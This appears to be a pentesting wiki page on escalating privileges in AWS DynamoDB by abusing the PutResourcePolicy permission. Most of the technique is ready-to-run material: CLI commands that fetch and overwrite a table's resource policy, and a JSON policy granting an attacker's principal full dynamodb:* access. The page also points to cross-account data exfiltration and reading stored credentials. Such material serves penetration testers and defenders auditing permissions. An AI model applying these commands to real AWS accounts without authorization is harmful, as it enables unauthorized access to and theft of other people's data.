# AWS - DynamoDB Privesc

{{#include ../../../../banners/hacktricks-training.md}}

## dynamodb

For more info about dynamodb check:

{{#ref}}
../../aws-services/aws-dynamodb-enum.md
{{#endref}}

### `dynamodb:PutResourcePolicy`, and optionally `dynamodb:GetResourcePolicy`

Since March 2024, AWS offers *resource based policies* for DynamoDB ([AWS News](https://aws.amazon.com/about-aws/whats-new/2024/03/amazon-dynamodb-resource-based-policies/)).

So, if you have the `dynamodb:PutResourcePolicy` for a table, you can just grant yourself or any other principal full access to the table.

Granting the `dynamodb:PutResourcePolicy` to a random principal often happens by accident, if the admins think that granting `dynamodb:Put*` would only allow the principal to put items into the database - or if they granted that permissionset before March 2024...

Ideally, you also have `dynamodb:GetResourcePolicy`, so you do not overwrite other potentially vital permissions, but only inject the added permissions you need:

```bash
# get the current resource based policy (if it exists) and save it to a file
aws dynamodb get-resource-policy \
	--resource-arn <table_arn> \
	--query 'Policy' \
	--output text > policy.json
```

If you cannot retrieve the current policy, just use this one that grants full access over the table to your principal:

```json
{
    "Version": "2012-10-17",
    "Statement": [
        {
            "Sid": "FullAccessToDynamoDBTable",
            "Effect": "Allow",
            "Principal": {
                "AWS": "arn:aws:iam::<ACCOUNT_ID>:<USER_OR_ROLE>/<USERNAME_OR_ROLENAME>"
            },
            "Action": [
                "dynamodb:*"
            ],
            "Resource": [
                "arn:aws:dynamodb:<REGION>:<AWS_ACCOUNT_ID>:table/<TABLENAME>"
            ]
        }
    ]
}
```

If you need to customize it, here is a list of all possible DynamoDB actions: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/APIReference/API_Operations.html). And here is a list of all actions that can be allowed via a resource based policy *AND which of these can be used cross-account (think data exfiltration!)*: [AWS Documentation](https://docs.aws.amazon.com/amazondynamodb/latest/developerguide/rbac-iam-actions.html)

Now, with the policy document `policy.json` ready, put the resource policy:

```bash
# put the new policy using the prepared policy file
# dynamodb does weirdly not allow a direct file upload
aws dynamodb put-resource-policy \
	--resource-arn <table_arn> \
	--policy "$(cat policy.json)"
```

Now, you should have the permissions you needed.

### Post Exploitation

As far as I know there is **no other direct way to escalate privileges in AWS just by having some AWS `dynamodb` permissions**. You can **read sensitive** information from the tables (which could contain AWS credentials) and **write information on the tables** (which could trigger other vulnerabilities, like lambda code injections...) but all these options are already considered in the **DynamoDB Post Exploitation page**:

{{#ref}}
../../aws-post-exploitation/aws-dynamodb-post-exploitation/README.md
{{#endref}}

### TODO: Read data abusing data Streams

{{#include ../../../../banners/hacktricks-training.md}}



